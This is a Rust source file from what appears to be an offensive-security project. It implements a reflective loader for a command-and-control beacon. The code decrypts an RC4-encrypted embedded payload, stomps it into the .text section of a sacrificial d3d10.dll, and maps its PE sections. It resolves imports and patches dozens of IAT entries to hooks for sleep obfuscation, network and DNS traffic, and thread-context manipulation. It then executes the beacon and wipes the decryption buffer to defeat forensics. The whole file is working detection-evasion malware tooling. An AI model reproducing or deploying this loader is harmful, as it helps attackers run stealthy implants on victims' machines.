memN0ps-doublepulsar-rs/udrl/src/loader.rs

//! Beacon loader: decrypts, maps, and executes an embedded PE payload.
//!
//! This module implements the core loading logic for reflective DLL injection:
//!
//! 1. **Decrypt** - RC4 decrypt the embedded beacon from the CONFIG struct
//! 2. **Module Stomp** - Load a sacrificial DLL and overwrite its .text section
//! 3. **Map Sections** - Copy beacon PE sections to their virtual addresses
//! 4. **Resolve Imports** - Fill IAT with real function addresses from DLLs
//! 5. **Install Hooks** - Patch specific IAT entries to redirect through our hooks
//! 6. **Rebase Image** - Apply base relocations to fix absolute addresses
//! 7. **Fix Permissions** - Set correct memory protections (RX, RW, RO) per section
//! 8. **Execute** - Call beacon's DllMain entry point
//!
//! # Memory Layout
//!
//! The loader creates a contiguous memory region inside a stomped module:
//!
//! ```text
//! Initial state (set RX by injector before executing Start):
//! [STUB metadata][Loader code (.text$B)][Spoof code (.text$E)][Hook code (.text$D)]
//! |<----------------------- exec region (RX) ---------------------------------------->|
//!
//! After loader runs (stomped module):
//! [STUB metadata][Loader + Hook + Spoof code][Beacon PE sections...]
//! |<---- exec region (RX) ------------------>|<-- per-section protections -->|
//! ```

use {
    crate::{
        hooks::{
            DnsExtractRecordsFromMessage_UTF8_Hook, DnsWriteQuestionToBuffer_UTF8_Hook,
            GetProcessHeap_Hook, HeapAlloc_Hook, HttpOpenRequestA_Hook, HttpQueryInfoA_Hook,
            HttpSendRequestA_Hook, InternetCloseHandle_Hook, InternetConnectA_Hook,
            InternetOpenA_Hook, InternetQueryDataAvailable_Hook, InternetReadFile_Hook,
            NtContinue_Hook, NtGetContextThread_Hook, NtProtectVirtualMemory_Hook,
            NtSetContextThread_Hook, NtWaitForSingleObject_Hook, RtlAllocateHeap_Hook, Sleep_Hook,
            SystemFunction032_Hook, WSASocketA_Hook, WaitForSingleObjectEx_Hook,
            WaitForSingleObject_Hook, WinHttpCloseHandle_Hook, WinHttpConnect_Hook,
            WinHttpOpenRequest_Hook, WinHttpOpen_Hook, WinHttpQueryDataAvailable_Hook,
            WinHttpQueryHeaders_Hook, WinHttpReadData_Hook, WinHttpReceiveResponse_Hook,
            WinHttpSendRequest_Hook,
        },
        Start, StubAddr, C_PTR, G_END, OFFSET,
    },
    api::{
        api::{Api, MemorySection},
        dbg_print, hash_str,
        util::{
            hook_iat, memcopy, memzero, rebase_image, resolve_imports,
            section_characteristics_to_protect,
        },
        windows::*,
        NT_SUCCESS,
    },
    core::{ffi::c_void, ptr::null_mut},
};

/// Titan CONFIG structure (matches Titan.cna output)
///
/// This struct is appended directly after the loader code by the CNA script:
/// [Loader code (ends at G_END())][CONFIG struct][Encrypted beacon]
///
/// NOTE: Titan's Config.h uses big-endian byte order for rc4_len!
#[repr(C, packed)]
struct Config {
    /// Size of encrypted beacon (4 bytes, BIG-ENDIAN!)
    rc4_len: [u8; 4],
    /// 16-byte RC4 key (random ASCII string generated by CNA)
    key_buf: [u8; 16],
    // rc4_buf (encrypted beacon) follows immediately after (flexible array)
}

/// Main loader entry point: decrypts, maps, and executes the embedded beacon.
///
/// This function performs the complete loading sequence for reflective injection.
/// It is called from the ACE thread trampoline after RIP redirection.
///
/// # Memory Layout Transformation
///
/// Linker merges all into one `.text` section (see scripts/linker.ld):
/// `.text$A` → `.text$B` → `.text$D` → `.text$E` → `.rdata` → `.data` → `.text$ZZ`
///
/// ```text
/// BEFORE (AceLdr + beacon stomped into first module by shellcode loader):
///
/// First stomped module .text:
/// StubAddr()                                                  G_END()
///     |                                                          |
///     v                                                          v
///     ┌────────┬────────┬─────────┬───────┬───────┬─────────┬────────┬─────────────────┐
///     │  Start │ Loader │  Hooks  │ Utils │ .data │.text$ZZ │ CONFIG │Encrypted Beacon │
///     │.text$A │.text$B │ .text$D │.text$E│.rdata │ (G_END) │ (20 B) │ (RC4 encrypted) │
///     └────────┴────────┴─────────┴───────┴───────┴─────────┴────────┴─────────────────┘
///     |<--------------- copy_stub() copies ---------------->|
///                                                                   |                 |
///                              Temp buffer (NtAllocateVirtualMemory RW):              |
///                              ┌─────────────────────────────┐      |                 |
///                              │   Decrypted Beacon PE       │<-----+ RC4 decrypt     |
///                              │   (DOS/NT hdrs + sections)  │        (from CONFIG key)
///                              └─────────────────────────────┘
///                                             |
///                                             | copy_beacon_sections()
///                                             v
/// AFTER (AceLdr stomps into second module, beacon decrypted and mapped):
///
/// Second stomped module .text:
/// buffer                                                 buffer + reg.exec
///     |                                                         |
///     v                                                         v
///     ┌────────┬────────┬─────────┬───────┬───────┬─────────┬───────────────────────┐
///     │  Start │ Loader │  Hooks  │ Utils │ .data │.text$ZZ │  Beacon PE Sections   │
///     │.text$A │.text$B │ .text$D │.text$E│.rdata │ (G_END) │(.text, .rdata, .data) │
///     └────────┴────────┴─────────┴───────┴───────┴─────────┴───────────────────────┘
///     |<----------------- RX (stub) ------------------>|   |<-- per-section perms ->|
///     |<----------------- stub_size ------------------>|                            |
///     |<------------------------------ reg.full ---------------------------------->|
///
///     Temp buffer: zeroed (memzero) and freed (NtFreeVirtualMemory) after mapping
/// ```
///
/// # Execution Steps
///
/// 1. Resolve loader APIs (memory allocation, protection)
/// 2. Parse CONFIG struct at G_END() to get beacon size and RC4 key
/// 3. Allocate temporary RW buffer for decryption
/// 4. Decrypt beacon from CONFIG into temp buffer
/// 5. Calculate memory layout regions (stub + beacon sizes)
/// 6. Module stomp: load sacrificial DLL
/// 7. Change stomped region permissions to RW
/// 8. Copy STUB metadata and loader code to stomped region
/// 9. Copy beacon sections to virtual addresses
/// 10. Create isolated heap for beacon allocations
/// 11. Fill STUB with runtime metadata (heap handle, section info)
/// 12. Resolve imports (fill IAT with real function addresses)
/// 13. Install IAT hooks (patch specific entries: Sleep, GetProcessHeap)
/// 14. Apply base relocations (fix absolute addresses)
/// 15. Set stub region to RX
/// 16. Set final section permissions per section
/// 17. Zero and free temporary decrypt buffer
/// 18. Execute beacon DllMain
///
/// # Safety
///
/// Performs raw memory operations and calls into untrusted beacon code.
#[link_section = ".text$B"]
#[rustfmt::skip]
pub unsafe extern "C" fn loader(_arg: *mut c_void)
{
    let mut api = Api::new();
    #[cfg(feature = "spoof-uwd")]
    api.build_spoof_configs();
    let mut old_protection: u32 = 0;
    let mut reg: Reg = core::mem::zeroed();

    dbg_print!(api, b"[LDR] Started\n\0");

    // Step 1: Parse Titan CONFIG struct (directly at G_END())
    let cfg = G_END() as *const Config;
    let beacon_size = u32::from_be_bytes((*cfg).rc4_len) as SIZE_T;
    let key_ptr = (*cfg).key_buf.as_ptr();
    let encrypted_beacon = (cfg as usize + core::mem::size_of::<Config>()) as *const u8;

    // Step 3: Allocate temporary RW buffer for decryption (Titan calls this "Enc")
    let mut dec_buffer: PVOID = null_mut();
    let mut alloc_size = beacon_size;

    if !NT_SUCCESS!(api.ntdll.NtAllocateVirtualMemory(-1isize as HANDLE, &mut dec_buffer, 0, &mut alloc_size, MEM_COMMIT, PAGE_READWRITE)) {
        dbg_print!(api, b"[LDR] FAIL: NtAllocateVirtualMemory\n\0");
        return;
    }
    dbg_print!(api, b"[LDR] Allocated RW buffer: %p\n\0", dec_buffer);

    // Step 4: Decrypt beacon from CONFIG into temp buffer
    crate::crypto::decrypt_beacon(key_ptr, encrypted_beacon, dec_buffer as *mut u8, beacon_size);
    dbg_print!(api, b"[LDR] Beacon decrypted\n\0");

    // Parse decrypted beacon PE headers from temp buffer
    reg.dos = dec_buffer as *mut IMAGE_DOS_HEADER;
    reg.nt = (dec_buffer as usize + (*reg.dos).e_lfanew as usize) as *mut IMAGE_NT_HEADERS;
    dbg_print!(api, b"[LDR] DOS header: %p\n\0", reg.dos);

    // Step 5: Calculate memory layout regions (stub + beacon sizes)
    calculate_regions(&mut reg);
    dbg_print!(api, b"[LDR] reg.full: %p, reg.exec: %p\n\0", reg.full, reg.exec);

    // Step 6: Module stomp - load sacrificial DLL
    let module_base = api.kernel32.LoadLibraryExA(b"d3d10.dll\0".as_ptr() as LPCSTR, null_mut(), DONT_RESOLVE_DLL_REFERENCES);

    if module_base.is_null() {
        dbg_print!(api, b"[LDR] FAIL: LoadLibraryExA\n\0");
        return;
    }

    let dos_header = module_base as *const IMAGE_DOS_HEADER;
    let nt_headers = (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS;
    let first_section = IMAGE_FIRST_SECTION(nt_headers);
    let text_rva = (*first_section).VirtualAddress as usize;
    let text_size = (*first_section).Misc.virtual_size as usize;
    let mut memory_buffer = (module_base as usize + text_rva) as *mut c_void;

    if reg.full > text_size {
        dbg_print!(api, b"[LDR] FAIL: payload too large for .text\n\0");
        return;
    }
    dbg_print!(api, b"[LDR] Stomp target: %p\n\0", memory_buffer);

    // Step 7: Change stomped region permissions to RW
    if !NT_SUCCESS!(api.ntdll.NtProtectVirtualMemory(-1isize as HANDLE, &mut memory_buffer, &mut reg.full, PAGE_READWRITE, &mut old_protection)) {
        dbg_print!(api, b"[LDR] FAIL: NtProtectVirtualMemory RW\n\0");
        return;
    }
    dbg_print!(api, b"[LDR] Changed to RW\n\0");

    // Step 8: Copy STUB metadata and loader code to stomped region
    copy_stub(memory_buffer as _);
    dbg_print!(api, b"[LDR] Stub copied\n\0");

    // Step 9: Copy beacon sections to virtual addresses
    let map = copy_beacon_sections(memory_buffer, &reg);
    dbg_print!(api, b"[LDR] Beacon sections copied: %p\n\0", map);

    // Step 10: Create isolated heap for beacon allocations
    let beacon_heap = api.ntdll.RtlCreateHeap(HEAP_GROWABLE, null_mut(), 0, 0, null_mut(), null_mut());
    dbg_print!(api, b"[LDR] Heap created: %p\n\0", beacon_heap);

    // Step 11: Fill STUB with runtime metadata + copy Api into STUB
    fill_stub(memory_buffer, beacon_heap, &mut reg, &api);
    dbg_print!(api, b"[LDR] Stub filled (Api embedded in STUB)\n\0");

    // From here, use the STUB-embedded Api (persists after loader returns)
    let api = &mut *(*(memory_buffer as PSTUB)).api;

    // Step 12: Resolve imports (fills IAT with real function addresses)
    let import_dir = &(*reg.nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    if import_dir.VirtualAddress != 0 {
        let import_dir_addr = (map as usize + import_dir.VirtualAddress as usize) as *mut u8;
        let _ = resolve_imports(api, map as _, import_dir_addr);
        dbg_print!(&*api, b"[LDR] Imports resolved\n\0");
    }

    // Step 13: Install IAT hooks (patches specific entries to redirect to our hooks)
    install_hooks(map, memory_buffer, reg.nt);
    dbg_print!(&*api, b"[LDR] Hooks installed\n\0");

    // Step 14: Apply base relocations (fixes absolute addresses)
    let reloc_dir = &(*reg.nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    if reloc_dir.VirtualAddress != 0 {
        let reloc_dir_addr = (map as usize + reloc_dir.VirtualAddress as usize) as *mut u8;
        let image_base = (*reg.nt).OptionalHeader.ImageBase as *mut u8;
        let _ = rebase_image(map as _, reloc_dir_addr, image_base);
        dbg_print!(&*api, b"[LDR] Relocations applied\n\0");
    }

    // Step 15: Set stub region to RX (code can execute, no writes needed)
    let mut stub_base = memory_buffer;
    let mut stub_size = reg.exec;
    let mut stub_old_prot: ULONG = 0;

    if !NT_SUCCESS!(api.ntdll.NtProtectVirtualMemory(-1isize as HANDLE, &mut stub_base, &mut stub_size, PAGE_EXECUTE_READ, &mut stub_old_prot)) {
        dbg_print!(&*api, b"[LDR] FAIL: NtProtectVirtualMemory RX\n\0");
        return;
    }
    dbg_print!(&*api, b"[LDR] Stub set to RX\n\0");

    // Step 16: Set final section protections (RX for .text, RO for .rdata, etc.)
    fix_section_permissions(api, memory_buffer, &reg);
    dbg_print!(&*api, b"[LDR] Section permissions set\n\0");

    // Save entry point before freeing buffer
    let entry_rva = (*reg.nt).OptionalHeader.AddressOfEntryPoint as usize;
    dbg_print!(&*api, b"[LDR] Entry RVA: %p\n\0", entry_rva);

    // Step 17: Zero and free temporary decrypt buffer (OPSEC: prevent forensics)
    memzero(dec_buffer as *mut u8, beacon_size as u32);
    let mut free_size: SIZE_T = 0;
    let _ = api.ntdll.NtFreeVirtualMemory(-1isize as HANDLE, &mut dec_buffer, &mut free_size, MEM_RELEASE);
    dbg_print!(&*api, b"[LDR] Temp buffer freed\n\0");

    dbg_print!(&*api, b"[LDR] Executing DllMain\n\0");

    // Step 18: Execute beacon DllMain
    execute_beacon(C_PTR((map as usize).wrapping_add(entry_rva)));
}

/// Sets memory protection for each beacon section based on PE characteristics.
///
/// Must be called after `copy_beacon_sections` and before `fill_stub`.
/// This ensures STUB stores correct protection values for sleep mask to use.
///
/// # Arguments
/// * `api` - Resolved API structure with NtProtectVirtualMemory
/// * `buffer` - Base address where beacon is mapped (stomp target)
/// * `reg` - Region info containing NT headers and section offsets
#[link_section = ".text$B"]
pub unsafe fn fix_section_permissions(api: &mut Api, buffer: PVOID, reg: &Reg) {
    let nt = reg.nt;
    let num_sections = (*nt).FileHeader.NumberOfSections as usize;
    let first_section = IMAGE_FIRST_SECTION(nt);

    dbg_print!(
        api,
        b"[LDR:FIX_PERM] buffer: %p, exec: %p, sections: %d\n\0",
        buffer,
        reg.exec,
        num_sections
    );

    for i in 0..num_sections {
        let section = first_section.add(i);
        let mut section_base =
            (buffer as usize + reg.exec + (*section).VirtualAddress as usize) as PVOID;
        let mut section_size = (*section).Misc.virtual_size as SIZE_T;
        let new_protect = section_characteristics_to_protect((*section).Characteristics);
        let mut old_protect: ULONG = 0;

        let _status = api.ntdll.NtProtectVirtualMemory(
            -1isize as HANDLE,
            &mut section_base as *mut PVOID,
            &mut section_size as *mut SIZE_T,
            new_protect,
            &mut old_protect as *mut ULONG,
        );

        dbg_print!(
            api,
            b"[LDR:FIX_PERM] [%d] base: %p, prot: %x -> %x\n\0",
            i,
            section_base,
            old_protect,
            new_protect
        );
    }
}

/// Patches specific IAT entries to redirect beacon API calls through our hooks.
///
/// This function only installs hooks - import resolution and relocation are handled
/// separately in the loader function.
///
/// # Arguments
///
/// * `map` - Base address of the mapped beacon image
/// * `buffer` - Base address of the stomped region (for calculating hook addresses)
/// * `nt` - Pointer to beacon's NT headers
#[link_section = ".text$B"]
pub unsafe fn install_hooks(map: PVOID, buffer: PVOID, nt: *mut IMAGE_NT_HEADERS) {
    let import_dir = &(*nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

    if import_dir.VirtualAddress != 0 {
        let import_dir_addr = (map as usize + import_dir.VirtualAddress as usize) as *mut u8;
        let stub_base = StubAddr();

        // Calculate hook address in copied stub region
        let hook_addr = |hook_fn: *const ()| -> *mut u8 {
            let hook_offset = (hook_fn as usize).wrapping_sub(stub_base);
            (buffer as usize + hook_offset) as *mut u8
        };

        // Heap hooks - redirect allocations to isolated heap
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("GetProcessHeap"),
            hook_addr(GetProcessHeap_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("RtlAllocateHeap"),
            hook_addr(RtlAllocateHeap_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("HeapAlloc"),
            hook_addr(HeapAlloc_Hook as *const ()),
        );

        // Sleep hooks - enable sleep obfuscation
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("Sleep"),
            hook_addr(Sleep_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("NtWaitForSingleObject"),
            hook_addr(NtWaitForSingleObject_Hook as *const ()),
        );

        // WinINet hooks
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("InternetConnectA"),
            hook_addr(InternetConnectA_Hook as *const ()),
        );

        // WinINet hooks
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("InternetOpenA"),
            hook_addr(InternetOpenA_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("HttpOpenRequestA"),
            hook_addr(HttpOpenRequestA_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("HttpSendRequestA"),
            hook_addr(HttpSendRequestA_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("HttpQueryInfoA"),
            hook_addr(HttpQueryInfoA_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("InternetReadFile"),
            hook_addr(InternetReadFile_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("InternetQueryDataAvailable"),
            hook_addr(InternetQueryDataAvailable_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("InternetCloseHandle"),
            hook_addr(InternetCloseHandle_Hook as *const ()),
        );

        // WinHTTP hooks
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("WinHttpOpen"),
            hook_addr(WinHttpOpen_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("WinHttpConnect"),
            hook_addr(WinHttpConnect_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("WinHttpOpenRequest"),
            hook_addr(WinHttpOpenRequest_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("WinHttpSendRequest"),
            hook_addr(WinHttpSendRequest_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("WinHttpReceiveResponse"),
            hook_addr(WinHttpReceiveResponse_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("WinHttpQueryHeaders"),
            hook_addr(WinHttpQueryHeaders_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("WinHttpReadData"),
            hook_addr(WinHttpReadData_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("WinHttpQueryDataAvailable"),
            hook_addr(WinHttpQueryDataAvailable_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("WinHttpCloseHandle"),
            hook_addr(WinHttpCloseHandle_Hook as *const ()),
        );

        // DNS hooks
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("DnsExtractRecordsFromMessage_UTF8"),
            hook_addr(DnsExtractRecordsFromMessage_UTF8_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("DnsWriteQuestionToBuffer_UTF8"),
            hook_addr(DnsWriteQuestionToBuffer_UTF8_Hook as *const ()),
        );

        // Winsock hook
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("WSASocketA"),
            hook_addr(WSASocketA_Hook as *const ()),
        );

        // Wait hooks
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("WaitForSingleObject"),
            hook_addr(WaitForSingleObject_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("WaitForSingleObjectEx"),
            hook_addr(WaitForSingleObjectEx_Hook as *const ()),
        );

        // Memory and thread hooks
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("NtProtectVirtualMemory"),
            hook_addr(NtProtectVirtualMemory_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("SystemFunction032"),
            hook_addr(SystemFunction032_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("NtGetContextThread"),
            hook_addr(NtGetContextThread_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("NtSetContextThread"),
            hook_addr(NtSetContextThread_Hook as *const ()),
        );
        hook_iat(
            map as _,
            import_dir_addr,
            hash_str!("NtContinue"),
            hook_addr(NtContinue_Hook as *const ()),
        );

        // Thread exit hook (not ready - needs cleanup logic)
        // hook_iat(map as _, import_dir_addr, hash_str!("ExitThread"), hook_addr(ExitThread_Hook as *const ()));
    }
}

/// Call beacon DllMain with PROCESS_ATTACH then THREAD_ATTACH (AceLdr semantics).
#[link_section = ".text$B"]
pub unsafe extern "C" fn execute_beacon(entry: PVOID) {
    let Ent: DLLMAIN = core::mem::transmute(entry);

    // Call DllMain with PROCESS_ATTACH
    Ent(
        OFFSET(Start as *const () as usize) as *mut c_void,
        1,
        core::ptr::null_mut(),
    );

    // Immediately follow with THREAD_ATTACH to mirror AceLdr
    Ent(
        OFFSET(Start as *const () as usize) as *mut c_void,
        4,
        core::ptr::null_mut(),
    );
}

/// STUB metadata structure placed at the start of the allocated region.
///
/// # Purpose
///
/// The STUB provides a position-independent way for hooks to access runtime data:
/// - Memory region bounds for sleep obfuscation encryption
/// - Custom heap handle for beacon allocations
/// - PE section info for per-section memory protection during sleep
///
/// # Memory Layout
///
/// ```text
/// [STUB metadata][Loader code][Hook code][Beacon PE sections]
///  ^-- buffer     ^-- executable region  ^-- beacon image
/// ```
///
/// # How Hooks Access STUB
///
/// Hooks use `StubAddr()` to locate this struct at runtime via RIP-relative addressing.
/// This enables position-independent access without relocations.
#[repr(C, packed)]
pub struct STUB {
    /// Region base for sleep encryption bounds (stub starts here)
    pub stub_beacon_address: ULONG_PTR,
    /// Region size for sleep encryption bounds (stub + beacon)
    pub stub_beacon_size: ULONG_PTR,
    /// Size of the stub/loader code (beacon starts at stub_beacon_address + stub_size)
    pub stub_size: ULONG_PTR,
    /// Isolated heap for beacon allocations
    pub beacon_heap_handle: HANDLE,
    /// Number of PE sections in the beacon
    pub num_sections: u32,
    /// PE section metadata for per-section protection changes
    pub sections: [MemorySection; 20],

    /// Api pointer - points to inline storage at STUB+0x20C (reserved in ASM).
    /// No separate allocation; Api lives in the STUB region itself.
    /// After Step 15 this region is RX; wrappers copy Config to stack before spoofed calls.
    pub api: *mut Api,
}

/// Type alias for pointer to STUB
pub type PSTUB = *mut STUB;

/// Populates STUB metadata for runtime access by hooks.
///
/// Writes beacon region bounds, heap handle, and section metadata into the
/// STUB structure at the start of the allocated region. This data is read
/// by hooks (e.g., `Sleep_Hook`) via RIP-relative addressing.
///
/// # Arguments
///
/// * `buffer` - Base address of the stomped region (STUB lives here)
/// * `heap` - Handle to the isolated beacon heap (from `RtlCreateHeap`)
/// * `reg` - Region info containing PE headers and calculated sizes
///
/// # STUB Fields Populated
///
/// - `stub_beacon_address` - Base of the entire region
/// - `stub_beacon_size` - Total size (stub + beacon)
/// - `stub_size` - Size of stub/loader code (beacon offset)
/// - `beacon_heap_handle` - Isolated heap for beacon allocations
/// - `num_sections` - Number of PE sections (capped at 20)
/// - `sections[]` - Per-section metadata (base, size, protection)
#[link_section = ".text$B"]
pub unsafe fn fill_stub(buffer: PVOID, heap: HANDLE, reg: &Reg, api: &Api) {
    let stub_ptr = buffer as PSTUB;

    (*stub_ptr).stub_beacon_address = buffer as usize;
    (*stub_ptr).stub_beacon_size = reg.full as usize;
    (*stub_ptr).stub_size = reg.exec as usize;
    (*stub_ptr).beacon_heap_handle = heap;

    // Copy Api into STUB's inline storage (reserved space at STUB + size_of::<STUB>())
    let api_storage = (stub_ptr as usize + core::mem::size_of::<STUB>()) as *mut u8;
    memcopy(
        api_storage,
        api as *const Api as *const u8,
        core::mem::size_of::<Api>() as u32,
    );
    (*stub_ptr).api = api_storage as *mut Api;

    // Populate sections now while we have PE headers
    let nt = reg.nt;
    let num_sections = (*nt).FileHeader.NumberOfSections as usize;
    let first_section = IMAGE_FIRST_SECTION(nt);

    (*stub_ptr).num_sections = num_sections.min(20) as u32;

    for i in 0..num_sections.min(20) {
        let section = first_section.add(i);

        (*stub_ptr).sections[i].base_address =
            (buffer as usize + reg.exec + (*section).VirtualAddress as usize) as PVOID;
        (*stub_ptr).sections[i].size = (*section).Misc.virtual_size as SIZE_T;
        (*stub_ptr).sections[i].current_protect =
            section_characteristics_to_protect((*section).Characteristics);
        (*stub_ptr).sections[i].previous_protect =
            section_characteristics_to_protect((*section).Characteristics);
    }
}

/// Copies beacon PE sections from the decrypted image to the stomped module region.
///
/// Mirrors AceLdr semantics: PE headers remain in the temp buffer; only raw
/// section data is copied to their respective VirtualAddress offsets.
///
/// # Arguments
///
/// * `buffer` - Base of the stomped module region (STUB starts here)
/// * `reg` - Region info with PE headers and exec offset
///
/// # Returns
///
/// Pointer to the mapped beacon image (buffer + exec offset).
#[link_section = ".text$B"]
unsafe fn copy_beacon_sections(buffer: PVOID, reg: &Reg) -> PVOID {
    // Step 1: the mapped beacon lives after the stub exec region
    let map = (buffer as usize).wrapping_add(reg.exec as usize) as *mut u8;

    // IMPORTANT: Zero the entire beacon region first, OTHERWISE WE CRASH
    let size_of_image = (*reg.nt).OptionalHeader.SizeOfImage as usize;
    memzero(map, size_of_image as u32);

    let nt_headers = reg.nt as *const IMAGE_NT_HEADERS;
    let num_sections = (*nt_headers).FileHeader.NumberOfSections as usize;

    // Step 2: get the first section header
    let first_section = (nt_headers as usize + core::mem::size_of::<IMAGE_NT_HEADERS>())
        as *const IMAGE_SECTION_HEADER;

    // Step 3: lay out each raw section at its VirtualAddress
    for i in 0..num_sections {
        let section = first_section.add(i);
        let destination = map.add((*section).VirtualAddress as usize);
        let source = (reg.dos as usize + (*section).PointerToRawData as usize) as *const u8;
        let raw_size = (*section).SizeOfRawData as usize;
        if raw_size > 0 {
            memcopy(destination, source, raw_size as u32);
        }
    }
    map as PVOID
}

/// Copies the stub region (STUB metadata + loader + hooks) to the stomped module.
///
/// The stub spans from `StubAddr()` to `G_END()` and contains:
/// - STUB metadata structure (filled later by `fill_stub`)
/// - Loader code (.text$B section)
/// - Hook code (.text$D section)
///
/// # Arguments
///
/// * `buffer` - Destination address in the stomped module's .text section
#[link_section = ".text$B"]
pub unsafe fn copy_stub(buffer: PVOID) {
    let destination = buffer as *mut u8;
    let source = StubAddr() as *const u8;
    let length = (G_END() - StubAddr()) as usize;

    // Copy the stub (loader + hooks) contiguously
    memcopy(destination, source, length as u32);
}

/// Region calculation results for loader memory layout.
///
/// # Purpose
///
/// Stores calculated sizes and pointers for the loader's memory allocation.
/// All sizes are aligned to 4KB page boundaries for Windows memory management.
///
/// # Memory Layout
///
/// ```text
/// [Stub exec region   ][Beacon PE image       ]
/// |<---- exec ------->||<-- full - exec ----->|
/// |                   ||                      |
/// buffer             map                   buffer+full
/// ```
///
/// # Fields
///
/// * `exec` - Size of stub executable region (loader + hooks), 4KB-aligned
/// * `full` - Total size (stub + beacon image), 4KB-aligned
/// * `nt` - Pointer to beacon's NT headers in the embedded file
/// * `dos` - Pointer to beacon's DOS header in the embedded file
#[repr(C)]
pub struct Reg {
    /// Aligned stub size (exec region) in bytes, 4KB-aligned.
    exec: SIZE_T,

    /// Total aligned size for stub + beacon, 4KB-aligned.
    full: SIZE_T,

    /// Pointer to beacon NT headers in the embedded file image.
    nt: *mut IMAGE_NT_HEADERS,

    /// Pointer to beacon DOS header in the embedded file image.
    dos: *mut IMAGE_DOS_HEADER,
}

/// Calculate stub size (exec) and total size (exec+image) for memory allocation.
///
/// This function calculates memory layout sizes based on the decrypted beacon's
/// PE headers (already set in reg.dos and reg.nt from the temp decrypt buffer).
/// Aligns sizes to 4KB pages for Windows memory management.
#[link_section = ".text$B"]
unsafe fn calculate_regions(reg: &mut Reg) {
    // Step 1: Get stub size (from start to end of CONFIG)
    let stub_start = StubAddr();
    let stub_end = G_END().wrapping_add(core::mem::size_of::<Config>());
    let stub_size = stub_end - stub_start;

    // Step 2: Get beacon image size from PE headers (from decrypted temp buffer)
    let size_of_image = (*reg.nt).OptionalHeader.SizeOfImage as usize;

    // Step 3: Align to 4K boundaries (WinPE defaults)
    let align4k = |v: usize| (v + 0xFFF) & !0xFFF;
    let exec_aligned = align4k(stub_size);
    let image_aligned = align4k(size_of_image);

    reg.exec = exec_aligned as SIZE_T;
    reg.full = (exec_aligned + image_aligned) as SIZE_T;
}